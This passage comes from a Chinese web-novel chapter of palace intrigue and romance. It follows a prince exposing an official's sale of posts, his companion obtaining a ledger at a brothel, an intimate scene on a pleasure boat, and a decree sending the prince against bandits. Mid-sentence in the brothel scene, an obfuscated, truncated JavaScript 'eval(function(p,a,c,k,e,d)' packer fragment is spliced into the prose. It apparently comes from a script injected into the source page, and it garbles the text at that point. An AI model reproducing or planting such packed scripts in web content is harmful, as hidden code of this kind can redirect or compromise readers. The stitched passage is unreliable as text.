兽苑饲养官这等人事,他往日连过问一句的兴致都没有,向来交由司曹循例处置。他经手的,多是铨选考功那一摊:条子递上来,例银收下去,将大头送入内帑,自己顺手留些边角。 此事按理,怎么也牵不到他身上。可偏偏,话头已然指了过来。 闻知年心里清楚,雷霆将至。此时此刻,任何辩白递到御前,都只会被当作狡饰。他只能连夜令吏部自查,从账目、名册一路往下翻,指望在圣人真正动手之前,将此事理出一个还能递得上去的说法。 只是圣人的棋,下得比他更快。 御帐深处,圣人屏退左右,只留下三皇子。 “景恒,”圣人开口,“此事你怎么看?” 太子与皇三子,皆由圣人亲自教养,可性情却迥然不同。太子为长,生母早逝,自幼养在御前,行事谨慎,凡事先看父皇颜色,再看朝堂风向。外祖闻铮、舅舅闻知年权势在侧,他却始终夹在其中,不敢自专。这样的人,坐在储位上,恰到好处,只敢为储君,不敢为君主。 而皇三子却不同。 裴与驰像极了圣人年轻时的模样,心思清明,胆气锋利,文武在手。圣人对这个儿子,向来多看几分,不到十二岁便赐字在身,又是最得宠的沈氏所出。沈氏的心思,他并非不知,只是自恃帝王权术在握,尚能压得住。可随着裴与驰一日日长成,那份笃定,终究生出了裂痕。 若换此子居东宫,一旦时机成熟,这皇位,未必还能稳稳握在自己掌中。 是以宠之,亦防之。 只是猎场那一箭,来得太急。 箭矢破空,兵刃无眼,局势顷刻翻覆。来不及权衡,也来不及思量利害,裴与驰策马而出,几乎是迎着箭路撞了上去。 那一刻,没有算计,只有本能。 这一点,圣人看得分明。 裴与驰垂首立于帐中,神色一贯恭谨,心下已将前后因果拢了个七七八八。那只“药狼”,绝非偶然。兽苑这一线的人,不过是在分寸里偷食的蚂蚱,胆子再大,也不敢将变数往御前送。既然出了岔子,便只有一种可能:有人借这点不起眼的小事,往上探一探。 而这条线,偏偏通向吏部。 兽苑虽小,却挂在吏部名下。官员进退、沉浮去处,皆由此出。闻知年的手脚,在圣人眼中从来不算新鲜,甚至可算一种默认。可若连这样微末之处,都成了私相授受的口袋,那便不只是贪,而是动了根。 也正因如此,那一箭离弦之时,他没有退。 他若不挡,箭一旦见血,便是弑君大案;无论幕后是谁,沈家都难脱干系。可他这一挡,救驾在前,其余猜测自然退后,也顺势,将自己与母族的牵连压了下去。 没有人会为了算计旁人,拿命来换。 这一点,圣人心里,同样清楚。 裴与驰抬起头,只回了一句:“儿臣以为,兽苑虽小,却系着吏治根本。既有毒疮,便该剜去。” 语气分寸得当,仍是那个爱父忠君的三皇子。 圣人看着他,良久未语。 片刻后,才缓缓开口,听不出喜怒:“既如此,吏部的事,你去查。” 一语落下,如石入水。水面依旧平静,底下的泥沙,却自此被悄然搅动。 三皇子奉旨入吏部。他既未张扬仪仗,也不曾带刑曹差役闯署喝问,只每日按时入署,衣冠端整,坐在案后翻旧册。履历、考语、调补名簿,一页一页看过去,神色从容,倒像真是来读书的。 吏部上下起初惊惶,人人提着一口气,生怕自己那点旧账忽然落到纸面上。可日子一久,见三殿下只看不问,既不点名,也不传讯,仿佛真将这差事当作清闲坐衙,那根绷紧的弦,便渐渐松了。私下里,说三殿下终究年轻,不过是个花架子。吏部的事,哪里是写在公牍上的?真要查,谁会把把柄老老实实记在册子里。此话一出,众人会心而笑。 笑声一多,胆气也就回来了,官场那点老念头,便又活泛起来,像灰里埋着的火星,轻轻一拨,便亮了。某地主簿的职缺,照旧放出风声,价码仍是旧价,千两上下,在望北楼挂牌竞标;其余买卖,也一并回到老路上,暗里流转,如火如荼。 却不料,还没等这群人真正松快几日,吏部里便起了动静。没有预兆,也没有风声,只是某日清晨,点名的单子递下来时,案头忽然多了一个名字。 许清衡,考功司主事。 这个名字被点出来时,闻知年一时竟有些茫然,只觉吏部何时多了这么一号人物。官阶不高,事务不重,经手的尽是些地方小缺:主簿、驿丞、兽苑之属。旁人嫌这些差事零碎,他却正好伸得进手;考语可推循例,任补可说合议,只要不贪得过分,便能稳稳当当地混在名册之中。 更难得的是,此人名声清白。寒门出身,一举中第。初入仕途时,桌椅断脚不换,官袍洗得发白;同僚相邀吃酒,十回里有九回推脱,剩下一回去了,一盏白水坐到席散。往来之人提起他,无不赞一句“清廉”。 可偏偏,三皇子不知从何处翻出了线头,不过数日,人证、物证一并齐全,万般抵赖不得。 事情揭开,众人才晓得,许清衡真正栽的,并非权财,而是一个“情”字。 原来这位许主事是个情种,且偏偏专救风尘,堪称长安第一深情。 起初,青石桥头,细雨初落。他向一位唤作寒烟的姑娘借了把伞。这一借一还,伞骨未折,魂却先丢了。几番往来,稀里糊涂成了人家幕下之宾。谁料情意未许,侯爷先行一步,将寒烟赎了去做小妾。 许清衡闻讯,当街痛哭,指天画地,发誓自此断情绝爱,只读圣贤书,视红粉如骷髅。围观之人无不侧目,皆道书生果然情深。 誓言发得惊天动地,忘得却是快马加鞭。 没过几日,他那两行清泪尚未干透,转头便在梨花树下撞见了岁晚。月牙眼,银盘脸,扶着花枝,语声软糯,举止清雅,竟比寒烟更多三分“不食人间烟火气”。许清衡一见之下,心下便有了计较,只道前缘既断,天意当是另有安排。 于是旧誓翻篇,新情再起。于是旧誓翻篇,新情再起。方才扑灭的灶膛尚有余温,转眼又点着了房梁。老房子着火,竟还能烧第二回,且这一回,烧得更旺。 自此,许清衡便愈发自持起来。白日里仍是那副清廉自持模样,入署坐衙,言谈有度,遇事必先讲章程、谈分寸;同僚偶有调笑,提及风月,他也只淡淡一笑,摇头道:“此等事,终究误人。”说话时神情郑重,倒像真是从红尘里洗过一遭。 只是休沐一到,脚下却从不含糊。或是泛舟湖上,他执笔写诗,岁晚抚琴相和;或是闭门小坐,一茶一香,对坐清谈,句句不离情义、缘法与前生因果。说到动情处,许清衡往往自叹一句:“此生若不能全此一段情,仕途二字,于我何益。” 话说得重,神色也真,可这般情深,终究要落在银钱上。 起初,他尚觉不妥。毕竟寒窗数载,清名得来不易,怎好轻动?只是俸禄有限,风月无底,思来想去,便觉自己手中那些地方小缺,横竖只是递话走章程,若能顺手周转一二,也算成人之美。于是先替人说情,再替人递名,话说得极含蓄,银子收得也极谨慎。事成之后,仍要感慨一番:“此非为财,不过权宜。”自觉情有可原。 一次既成,第二次便顺手了。再到后来,连权宜二字也懒得再提。反正卖的是缺,又不是卖官;反正官阶不高,也碍不着朝纲。如此一番自我宽解,倒叫他心安理得起来。 至此,白日里仍谈清风明月,夜深后却细算银钱往来;案头一边堆着策论考语,一边压着账目收据,摆放得整整齐齐,互不相扰,倒也井然有序。 而情书,更是写得勤。一封封写来,情真意切,动辄便引经据典,从盘古开天写到比翼连枝,论证来论证去,竟郑重其事地断言:古往今来,世间情深者无数,却再没有一对,能比得上他与岁晚这般相知相许。 字字如策论,句句似奏章。 岁晚看得多了,只笑不语。许清衡却愈发笃定,暗道此情若不成,必是天道不公。 谁料天道尚未下定论,他先输了。 清风馆里来了位新恩客,年少多金,谈吐风流。岁晚抚琴,他执扇相和,三两回照面,情意便已分明。那一夜,岁晚脸上泛起的红晕,比许清衡当日当街哭寒烟时,憋红的那张脸,还要再艳红几分。 岁晚是个爽利人,断事从不拖泥带水。 “情意我知。”她道,“只是这世道,情字最不值钱。银钱也好,相貌也罢,你终究是差了一截。” 话既出口,便再无回头。 许清衡闻言,只觉胸口一闷,羞愤交加,当即在门口发下重誓:“从今往后,再不上这个当了!”只是誓言出口,人却转身进了望北楼。 酒一杯接一杯,旧事一桩桩翻出来。越喝越觉自己一片真心,竟被这世道辜负。喝到后来,索性拉着店小二,将卖官的来路、收银的数目、给岁晚买的钗环细软,连同那点自觉感天动地的深情,一并倾吐出来。说到动情处,还不忘叹一句:“我这人,旁的都不图,只图一个情字。” 那小二听得认真,记得也牢。不出两日,“许主事鬻官求红粉”的话,便在坊间传得沸沸扬扬。 许清衡起初死不认账。直到司狱的门打开,账册一对,情书一摆,再牵出兽苑、主簿诸事前后印证,这才发现,原来情也是假,清名也是假,只剩银子是真的。至此,许清衡方知,自己那套自圆其说的道理,终究是说给自己听的。横竖,是不能站着从司狱里走出来了。 迟铎翻着查抄出来的那一匣子酸诗,牙根也跟着发酸。这文气,倒与某位殿下颇为相得。只是论到气派,许主事终究落了旧套:才子佳人翻来覆去,不过陈腔滥板。哪里像那位殿下,偏要剑走偏锋,自盘古开天辟地起,死磕“书生戏狸奴”这一门冷到不能再冷的营生。满长安掰着指头算,独此一家,别无分号;真真是放眼无对手,他若不认第一,身后连个敢叫板的第二都难寻。 至于那位横空出世、貌赛潘安的“阔客”究竟是谁……迟小将军捏着账本,话到嘴边,又硬生生咽了回去。 望北楼,从来不是寻常酒肆。 自他先前捻酸,讥三殿下私帑有限时,便已晓得这楼子的根脚。那点酸意一触到“望北”二字,立时便压了下去。裴与驰未赴边境之前,便已着手筹建此处。那时还不叫这个名字,也不在闹市,只是城南一处不起眼的去处,来往的尽是些爱装斯文的官吏书生。 楼里掌柜名唤沈浮云,常年惟帽遮面,自称幼时坠车毁了容。偶有风吹起纱角,露出的下颌果然疤痕累累,狰狞可怖,旁人见了,也就信了个十成十。 可迟铎知道,那张脸底下,原本另有一张。 前监察御史的幼子,昔年与裴与驰同窗共读。后来父兄蒙冤下狱,满门待斩。偏偏那时裴与驰不过十余岁,却敢偷天换日,用死囚顶名,将人从鬼门关里拽出来,塞进亲卫营中。那少年也是个狠角色,为断旧路,拾石自毁容貌,改名换姓。 如今这望北楼立在明处,做的是迎来送往的风月生意;暗地里流的,却是三皇子的耳目与私财。长安官场多少银钱去向、枕边话头,从这楼里过了一遭又一遭,旁人至今仍是无知无觉。 许清衡常带着岁晚来此行风雅,挥金如土。账目一翻,与其俸禄天差地别,便是铁证。 为将人证物证钉死,三皇子合上账本:“我去一趟清风馆。” 话音未落,家里那只狸奴立时变了脸色。 “不许。” 裴与驰抬眼:“为何?” 迟铎冷着脸,字字咬紧:“去那等烟花腌臜地做什么?” “查案。” “查案也不许。” 迟铎并非不信他。 ……只是,实在信不过他。 那人若真肯放下身段去风流,清风馆里其余那些恩客,怕是连给头牌提鞋都轮不上。更何况他心里明镜似的:若换作自己去,裴与驰那头好歹还有武秦那根木头盯着;可若叫裴与驰亲自上阵,他连个能看得住的人都找不出。 原本还盘算着,一人扮作小厮,一人装成公子,唱一出双簧。奈何无人通晓江湖易容之术,左看右看,这两人谁也不像个伺候人的,计议只得作罢。 二人对峙半晌,迟铎终是把心一横,冷着脸拍板:“我去。你让武秦跟着。” 裴与驰看了他一眼,眼底似笑非笑,终究没有再争。 于是武秦随行,名为护卫,实则眼线。 迟铎硬着头皮,披挂登场。 清风馆内灯影昏黄,脂粉香气扑鼻而来。他甫一踏进门,脚步便不自觉地放慢了半拍,随即展开折扇,半遮眉目,扇骨稳稳当当横在面前,恍若临阵举盾,谨慎自持。隔着三张桌案坐定,迟铎脊背笔直,另一只手背在身后,指节紧扣,举止端凝,如圭如璧,整个人端得仿佛一尊新搬进来的镇纸。目光放得极规矩,既不左顾,也不右盼,连抬眼的角度都掐得死死的,真可谓目不斜视,非礼勿视,绝不多看一眼。 偏偏这般作态,落在清风馆一众姑娘眼中,却成了难得一见的正经。旁人进门,眼神先行,未坐先看,恨不能顾盼生辉;他倒好,扇不离面,手不外放,进退有度,分寸森严,想挽臂的无处可挽,想贴身的连个衣角都够不着。几次试探下来,姑娘们反倒生了敬畏之心,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他下意识往迟铎那边瞥了一眼,又赶紧垂下头去,心里已然开始盘算:这话若如实说,三殿下会不会当场把剑鞘拍他脸上;若不说,回头事情捅出来,怕是亮的就是剑来。 迟铎此时却顾不上他。他捏着茶盏的手僵在半空,杯中茶水微微一晃,险些溢出。 不好。 这出戏,漏了一个天大的窟窿。 迟铎脑中飞快过了一遍三殿下那些话本里的桥段,忽然就想明白了。那书里写的,从来都是狸奴先动情分,日日贴身痴缠,低声软语,百般不舍;书生安坐不动,自持清高,几番推拒,几番拿乔。待到情意逼至眼前,书生再叹一声“也罢”,仿佛被缠得没了法子,勉为其难地点头应允。 书里从来没有回绝。 因为那没脸没皮的书生,打从一开始,就没想过回绝。 迟铎这才明白,他今日照书来演,本就注定演不到回绝这一折。 眼见岁晚又要近上半寸,迟铎只觉后背生凉,猫毛尽竖,忙握拳抵唇,咳得山响,身子却不动声色地往后退了退,摆出一副病气缠身、唯恐唐突佳人的正人君子模样。 只是为着那本要命的账册,他也只得硬着头皮,搜肠刮肚,去拼凑裴与驰那本《俊书生欲擒故纵戏狸奴》里的章回套话。 “岁晚姑娘情意深重,在下……”迟铎垂下眼帘,声音艰涩。旁人看来,是情深难言;实则是词句背得不全,心下正虚得紧。 “……唯恐辜负。只是我本为天家办事,身若浮萍。眼下事涉甚广,天家震怒,若我不能全身而退,恐怕……” 他略一停,才道: “反倒误了姑娘一生。” 这话一出,岁晚果然花容失色,双目立时含泪:“何事竟凶险至此?” “姑娘有所不知。”迟铎放低声息,眉眼间带了三分忧色,那神态,分明是学足了某位殿下惯常的逗哄他的路数。 “近来吏部不安,有人胆大包天,暗中鬻官卖缺,坏了朝纲。线索层层递进,查到末了……” 他顿了顿,才道:“正落在你那位旧识,许主事身上。” 话音落下,他分明觉出岁晚身子微微一僵。 迟铎见势,顺水推舟:“那许主事行事隐秘,若无确凿的银钱往来账目为证,便动他不得。我若拿不出实据,上头怪罪下来,治我一个办差不力、诬告朝官之罪,轻则流放三千里,重则……” 他说到这里,适时住口,只苦笑着摇了摇头。这一摇,在他,是掩饰词穷;落在岁晚眼中,却成了眸光低垂、长睫微湿,仿佛已在为一场生离死别做准备。 迟铎暗暗吸了一口气,终是抛出了那句压箱底的话:“今日一别,怕是再无缘,听卿卿抚琴了。” 这两个字,向来只在裴与驰嘴里听过,他平日听着便觉臊得厉害,不料此刻出口,却重若千钧。 话犹在耳,一册密密麻麻的账簿,已然递到了他掌心。 迟铎接过账册,指腹在封皮上停了停,却并未立时收起。他合上折扇,轻轻搁在案侧,抬眼望向岁晚。灯影之下,眉眼分明,脸生得极好;只是目光依旧规矩端正,不偏不倚,直视过来时,反倒多了几分郑重其事的意味。 “姑娘今日相助,在下记下了。”他开口,“此事一了,清风馆这道门,姑娘不必再踏。” 岁晚一怔。 她在风月场里见惯人心轻重,今夜也早已明白,这位公子所求,从来不在她身上。原本便已备下了几分应对,或被推辞,或被敷衍,或被几句好话轻轻带过,左右不过如此。 却偏偏没料到,他会这样说。 迟铎已然抱拳,一礼到位,转身便走,没有多留半步。 英俊潇洒的迟小将军,取物证如探囊取物,可人一回来,脸色却半点不见喜气,反倒从头到脚透着一股酸意。 他一面暗自惊叹三殿下这等市井趣味,竟当真有人照单全收;一面心里又止不住地泛酸,那人平日里这般娴熟的风流手段,莫不是背着他,早就操练过千百回? 这念头一起,便压也压不住。 “殿下那些话本子,往后还是少写些。”他将账册往裴与驰手里一塞,力道不轻,语气更冲,“那岁晚姑娘听了几句,魂儿都快飞了。我倒不知,殿下在这些歪门邪道上,竟有如此深厚的造诣。” 他越说越恼,牙关咬得死紧,冷声又补了一句:“也不知殿下是情种转世,还是与人周旋久了,竟这般顺手。” 裴与驰却没给他半点回应,只垂眸翻着账册,对这些话置若罔闻,神色冷淡。 武秦立在一旁,仍是那副木然模样,心里却暗暗叫苦:平日里靖武伯但凡捻酸,殿下向来求之不得,立时便要逗着哄着,把人惹得更恼;可这一次,殿下却连哄都没哄,多半与自己方才那番回禀脱不开干系。 清风馆中种种,他已一一禀过:起坐进退如何,分寸拿捏如何,相隔几案,目光如何收放,俱不敢漏下半分。哪些地方该说,哪些地方该略,他心里原本也有计较,只是话说到末了,终究还是迟疑了一下。 “……靖武伯临别时,还唤了那岁晚姑娘一声卿卿。” 话一出口,他忙又把重点往回拽:“只是为取实证。那姑娘这才肯将私记账册交出,绝无旁意。” 至于皇子妃替人赎身,又在那姑娘老家为其置宅一事,他话到喉头,又生生咽了回去。那点心软与周全,原是难得的仁厚之举,放在旁处只该称道;只是偏偏牵扯进了殿下的风月心思,便不宜再摆到台面上说。 内帷之事,一旦落到公议里,少不得要算他一个看护失当的罪名。 武秦只觉肩头一沉,索性闭紧了嘴。 这等事,自有皇子妃去哄。 裴与驰翻账的手,在半空顿住。指腹按在封皮上停了片刻,才又慢慢翻过,仿佛什么也没听见。只是那点冷意,自眉梢悄然落下, 平日里,这只狸奴对他连半句软话都吝啬,如今不过几日,倒敢对旁人唤起了卿卿。 若叫迟铎听见他这番心思,只怕当场便要气笑。什么叫“平日里没好声气”?他日日被逼着念“裴郎”、唤“相公”,念得耳根发烫、牙根发酸,还要他如何好声好气?他没拔刀,已算给足了殿下面子。如今不过查案权宜,三殿下倒先冷了脸,仿佛受了天大的委屈,这倒打一耙的本事,真是越发见长。 房中酸气与别扭,既起,便有去处。 吵也罢,闹也罢,气息一缠,津意自生,春在枝头闹,颜色不须描。 案子查到这里,裴与驰便不再往前探。账册收好,供词封存,该递到御前的递到御前,该落进卷宗的落进卷宗,多余的一笔都不肯沾。望北楼里还藏着多少腌臜,他仿佛从未见过。圣人要他查的,只此一桩;旁的,小闻相该不该倒,药狼之局背后是谁,自有圣人裁夺。 至于他自己,不过是一把奉旨出鞘、用过即收的孤刀。 14. 匪患 案子到此,便算结了。 许清衡下狱,周大文问罪,清风馆依旧灯红酒绿,坊间又添了一段“长安第一深情”的笑谈。 吏部里一时噤声,旧念头暂且埋回灰里。只是这把火,终究没烧到那些真正挂牌经手的小吏身上。该缩袖的缩袖,该装聋的装聋,风头一过,照旧行走如常。 偏偏烧着的,是吏部右侍郎闻知年。 名义上,他不过第三人,位次尚在尚书、左侍郎之后;可吏部真正的权柄、暗里的门路、章程的去处,多半攥在他手里。旁人办事,绕不开他;底下人求缺,也总先想着搭他的线。 这一回,闻知年却算无辜。 兽苑那等芝麻绿豆的小缺,他素来不过问。许清衡为攒钱娶妻,便将这些无人看重的小任补调,同旁的肥缺混在一处,借着“合议”“循例”的名头,把银子悄然揣进袖中。账不入暗簿,章也未过侍郎案头,做得干净利落,连闻知年都未曾听过一句风声。 可案子翻出来,供状里却偏偏带着“闻侍郎门路”几个字。 圣人对闻知年跋扈多年,早已心存不快,只是一直未寻到合适的由头。如今药狼一事撞上来,兽苑虽小,却牵着吏部;吏部旧账压在那里,正好借这一点火星,把人往下按。 闻相府上香火不断,闻铮仍是那副伏低做小的姿态。没过多久,一道圣旨便落了下来:闻知年不再署理吏部诸务,改授翰林院侍读学士,入直内廷。名头依旧清贵,差事却空了。 人还在京中,日日入朝,仍要在御前露面;只是从此,一纸调补不经他手,一两银钱不过他案。 太子闻讯,心中一沉。舅舅被贬谪,外祖伏低做小,闻府香火不断,祠堂里夜夜抄经,却连一句宽慰都递不到东宫来。而另一边,三弟救驾在前,查案在后,行事干净利落,文武皆备。圣人未急着明赏,朝堂却已先动了心思,目光来回游移,风声不觉间偏了。 太子自幼养在御前,由圣人亲自教养,写字读书,起居进退,皆在帝王目光之下。他一直以为,这份亲近,是储君独有的。诸皇子之中,或养在生母宫中,或循例受教,不过逢年过节得几句问询罢了。唯独皇三子不同。裴与驰年幼时,也曾被圣人带在身边,亲自指点。 那时太子尚且年少,却已因这份“独有”被打破,而心生不安。也正因如此,他所忧的,从来只有这个三弟。旁人不足为惧,唯独裴与驰,同样出自圣人亲手教养,同样得过那份亲近,又偏偏比他更肖父,行事处处挑不出错。 东宫的位置,便也因此显得不再稳当。 思来想去,忧思郁结,太子竟病倒在榻。 直到此时,圣人的话才迟迟落下,却并非金玉加身,而是一道口谕,命三皇子出京,平西南匪患。 旨意一下,朝堂背后议论顿起。 救驾在前,查案在后,如今又奉命领兵出行。圣上这一连串安排,看着步步抬举,分明是要将三皇子的功绩,一桩桩坐实。风声暗暗传开,有人低声揣测:莫不是……要封王了? 可也有人越琢磨越觉不对。这剿匪,哪里是什么面子工程。西南山深林密,匪患盘踞多年,势头愈发张狂,连“蜈蚣旗”都竖了起来,自称蜈蚣王。朝廷前前后后,从周边调派兵马五千有余,却始终奈何不得,不但无功,反倒有八百余人折在密林瘴气之中,尸骨未还。这等差事,凶险至此。究竟是加恩,还是借刀? 一时之间,说什么的都有。 只是圣人的口谕也好,朝堂的议论也罢,此刻都还未传到三皇子那里。 便是传到了,他眼下也顾不上。 湖面水光潋滟,画舫缓缓而行,橹声轻轻,一下又一下,仿佛敲在人心上。船尾只留了个耳聋的老艄公,被打发得远远的,帘子一落,里头便另成天地。 三殿下此刻,正是软香温玉在怀。 樱桃口,蔷薇汗,往日三殿下写进话本里的那些辞藻,此刻倒一一应验。呼吸相侵,肌理生热,连湖风都像被隔在了帘外。湖上,学着旁人风雅泛舟,却到底学得不太正经:人家是相对而坐,抚琴写诗;他俩却是屏退侍从,亲在一处。 狸奴此刻,真像只精怪,裴与驰心想。 人就坐在他腿上,手臂松松地圈着他的颈项,贴得理所当然。亲不过片刻,裴与驰心里已觉不妙,伸手将人推开。要命的是,偏生这狸奴生得唇若点朱,齿白肌润,被推开时竟慢了半拍,身子虽退了,魂却还没归位。那双眼被湖水一照,亮得发湿,迷迷瞪瞪地落在他脸上,像是还没想明白事理,便脱口问了一句:“怎么就不亲了?” 话音未落,人已顺势又凑近了些,竟还要贴上来讨个明白。 裴与驰几乎是本能地按住了他。那一瞬,他只觉心口一紧,暗道不好,这回怕不是真狸奴成精了。 欲念翻涌,几乎失控。再慢半分,端方君子怕是要当场破功,化身成采花大盗。 只是三殿下也不是吃素的。狸奴精有张良计,他自有过墙梯。那边还在低低絮语,话里话外皆是不肯放手的亲近,声音黏软,手上也缠着人不放。裴与驰却忽地伸手,将他的手牵了过来,顺势一按,低声笑道:“急什么?” 这一按不重,却仿佛一剂回魂妙药。方才还占着上风的狸奴,当即噤了声。情根乍动,热意方盛,指尖一触,只觉对方情气正浓,灼得人手上一颤,人便僵在当场。 先前那点勾人心魄的精怪模样,仿佛被风一吹,顷刻散尽。 红晕自颊边慢慢浮起,一路染到耳后,连脖颈都透出薄薄一层颜色。眼神更是无处安放,低低垂着,又忍不住游移,偏偏不敢再往裴与驰脸上送去,只剩满身热意与羞意,无从遮掩。 三殿下见状,暗暗松了口气,心下只道:这下好了,精怪总算是化回了原形。 他并非不想,只是此事不能乱来。狸奴年纪尚轻,他又未曾三书六聘,更谈不上明媒正娶。裴与驰从来不打算让迟铎困于内宅,学那寻常夫妻的模样。他要他自由自在,纵马持刀,仍是原来的迟小将军。 可该有的分寸,一样不能少。父母之命,媒妁之言,总要走全。他心里早已有了计较:先去求圣人一个恩典,再设法得了迟家父母的点头。两人私下定亲便好,可三书六聘,一样不能缺。这些排场,本就是给他一人看的。 偏偏就在这时,原本还红着脸不敢抬头的狸奴,忽然又动了,手上试探着靠近,动作生涩,却固执得很,推不开。 裴与驰一怔,声音低哑得不像话:“……..你这是做什么?” 迟铎脸上的红云更甚,仍旧不肯看他,含糊地应了一声:“……帮忙。” 裴与驰:“……” 他忽然觉得,方才那口气,松得还是太早了些。 他这天字第一号的大忍人,怕是还要再忍一忍。 画舫仍在缓缓前行。橹声一下一下,水面被拨开,又在船后悄然合拢。除此之外,再无旁的声响。帘子低垂,里头静得过分,连呼吸都显得清晰。 裴与驰原想拦他,偏偏要紧处被直接拿捏,那狸奴手劲只紧上一分,便叫人受不住,只得顺着他的手势,低声指点几句,教他如何周全这分轻重——而这一分轻重,于狸奴将来本人而言,尤为要紧。 三殿下暗叹世事无常,偏偏摊上这么一只笨狸奴精。 那精怪生得惑人,偏偏手笨拙,行事全无章法,轻了不成,重了又痛,叫人一时吃紧,一时又难舍,只得由着他慢慢摸索。个中滋味,实在难以言说。 不知过了很久。久到他自己都分不清,是湖水轻晃,还是心绪微摇。忍耐一点点消磨殆尽,呼吸渐渐失了旧日的节拍,连出口的声线,都低哑得不像往常。 “……够了。” 这一声在耳边低低落下,随之而来的,是掌心一阵湿意。迟铎这才猛地回神,手上一顿,整个人仿佛被惊醒一般僵住,又不敢抬头,脸上热意翻涌,羞得不成样子。 理智回笼的迟小将军,这才暗自心惊,只觉自己方才怕不是中了什么邪,竟一时昏了头,做出这等荒唐事来。 偏生这边还在回神,那边的是非早已分了个清楚。 三殿下觑着狸奴的神色,心中自有一番评断:分明是这狸奴仗着几分三脚猫的本事,强行买卖,折腾得人进退两难;偏又弄得好似他欺人太甚,逼良为娼一般。可话虽如此,那狸奴掌心所留的“证据”尚在,细想之下,他也不得不承认,此事之中,自己并非全然占理。 于是他整理了衣襟,强自收敛神色,从袖中取出一方手帕,递到迟铎掌心,仿佛方才二人不过是在画舫中品茶赏景。 帕子一递,迟铎却更不敢抬头了,只默默接过,指尖触到绢面,红意又悄悄爬回耳根。 画舫里一时无话。 三殿下侧过脸去,看向帘外水色,神情已回到往日的冷淡,只是耳后那点未褪的薄红,终究骗不得人。 迟铎低头擦手,擦完了却又不知该把帕子往哪儿放,只好攥在掌心,松也不是,收也不是。过了好一会儿,才小声道了一句:“……我不是故意的。” 这话说得没头没尾。 裴与驰听见,却没回头,也未调笑,只低低应了一声:“嗯。” 这一声落下,舱中反倒更静了。那点事后才生出来的羞赧,在两人之间慢慢发酵,谁也不好先动。 偏在此时,岸边忽起喧哗。 甲胄声骤响,脚步逼近。那眼尖耳聋的老艄公得了示意,忙将船篙一撑,画舫轻轻一晃,顺势靠岸。人还未站稳,岸上已是一声清喝,破水而来—— “奉圣上口谕!三皇子接旨——” 这一声,如同当头一棒。 裴与驰已然起身,衣襟一拢,神色收得干干净净。方才画舫里的风月气息,仿佛从未存在过。 迟铎却愣了一瞬,下意识也要跟着往外走。走到舱口,才猛地反应过来——他手里,还死死攥着那方手帕。绢面温软,余意未散。偏偏这会儿,传旨内侍已在岸上立定,甲胄森然,声色俱肃。 迟小将军站在原地,只觉这一步迈也不是,不迈也不是,手里那点分量,竟比方才画舫里的风浪还要叫人心虚。当着传旨内侍的面,竟生出一种——偷情被当场拿住的错觉。 所幸内侍目不斜视。见三皇子现身,只一甩拂尘,声线清朗: “圣人口谕:近来西南匪患未靖,扰民伤财,着三皇子裴与驰,统兵前往,限期平定,不得有误。” 画舫里的儿女情长,被这一道口谕生生压下,顷刻间敛得无影无踪。 裴与驰已整衣下拜,神色从容:“臣,领旨。” 迟铎站在他身后半步远的地方,听得心口一沉。长安呆久了,他竟一时忘了,当初与裴与驰相识,正是因他奉旨远赴边塞监军。 传旨内侍宣毕,略一颔首,转身退下。甲胄声渐远,岸边的喧哗也随之散去,只剩湖水轻拍船舷,仿佛什么都未曾发生。 画舫里,再度无话。 迟铎低头,看了眼自己掌心那方手帕,又像被烫着似的,猛地收进袖中,清了清嗓子,才道:“我随你去。” 裴与驰没有立刻回头,只沉默了片刻,方才低声道:“不必。” 迟铎盯着他:“什么意思?” 裴与驰这才转过身来,目光落在他脸上,冷静得几乎不近人情。 “你留在京中。” 迟铎眉心一紧,语气压得很低:“剿匪不是好差事。” 裴与驰没接话。 迟铎往前一步,伸手拽住他的袖子:“我去求圣人,未必不成。” 话落,画舫里静了静。 没等到回答,迟铎松了手,又看了他一会儿,脸上不显愠色,反倒像是认了账,顺手把话头一转,重提风月来:“不去就不去。三殿下好大的架子。” 他说着又补了一句,语气轻快得很:“还不带我去净手?” 裴与驰依旧没应,他的目光,却一直落在迟铎脸上,没移开。 迟铎也不再逼他,转身往舱外走,步子不紧不慢,像是真打算就此作罢。只是心里早已定了主意,争是争不出结果的。休沐一过,明日入朝,他自会奏请。 这一步,谁也拦不住。 只是他没想到,千防万防,防的都是正路,偏偏三殿下,从一开始,就没打算走正道。 夜已深,将军府内灯影 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他忽然从榻上惊坐而起,只觉心口一空。抬眼一看,却发现自己已换好亵衣,安安稳稳躺在自己床上。昨夜之后的事,竟是一点也想不起来,只停在回府的马车上,两人对坐下棋,斗嘴不休,你来我往,谁也不肯让谁,再往后,便是一片空白。 迟铎心里一沉。 正这时,门外脚步声起,管家端着一碗热茶进来。见他醒了,先是一怔,随即快步上前,只是脸上那点笑意,怎么看都带着几分不自在。 “少将军醒得早。”管家将茶盏放在案上,“夜里睡得可好?” 迟铎目光在那茶上停了一瞬,却没去碰,只问:“殿下呢?” 管家手上一顿,低声回道:“天还未亮,殿下便已动身了。” 这话一落,迟铎心里那点不安,顿时有了着落。 管家清了清嗓子,又将茶盏往前推了推:“少将军若是口渴,不妨喝了这碗安神茶。” “安神?”迟铎抬眼。 管家点头,却明显少了几分底气:“殿下说,少将军近日操劳,合该多歇一歇。” 话说得委婉,意思却再明白不过。 迟铎看着那碗茶,忽然笑了一声。 下一刻,他已起身更衣。不是常服,是骑装,扣子一粒粒扣得利落,动作快得几乎带风,那架势分明是要即刻出府。看这情形,怕是连圣上也不准备去奏请了。 管家心头一跳,急忙上前:“少将军——” 迟铎头也不抬。 管家是真急了,连忙从怀中最里层取出一封信,双手递上:“这是殿下留下的信。殿下走前交代,少将军务必要先看这个。” 迟铎动作未停,只冷声道:“有什么好看的?让他亲自同我说。” “少将军,不可!”管家声音都变了,“圣上尚未知晓,您若擅自离了长安,边塞那边…….” 这一句,终于叫气血翻涌的迟铎止住动作。 他已然明白,裴与驰是故意的。一步不多,一步不少,全都算好了。 迟铎伸手接过那封信,信封上四个字,龙飞凤舞:狸奴亲启。 字本是好字。笔势张扬,起落分明,放在往日替他抄书的时候,他定要笑着夸一句殿下文曲星下凡,笔走龙蛇。可眼下盯着看了片刻,他心里却只生出一个念头:轻狂。落笔太满,转折太快,一撇一捺都带着不肯收敛的得意,人已走远,还偏要回头晃一眼,生怕旁人不知道他走得干脆。 越看越碍眼。 